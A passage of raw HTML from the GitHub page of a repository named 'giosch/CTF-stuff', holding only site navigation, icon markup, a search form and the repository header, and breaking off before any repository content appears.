1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="131639685" data-scoped-search-url="/giosch/CTF-stuff/search" data-owner-scoped-search-url="/users/giosch/search" data-unscoped-search-url="/search" data-turbo="false" action="/giosch/CTF-stuff/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="XecoPjr7tzy5tG/C6FRMDROE168FfruiAa2vd8VmR7Il4yw9K1097S10ama1QY7svtLLUL/ISucyCsXPX42hAw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> giosch </span> <span>/</span> CTF-stuff <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 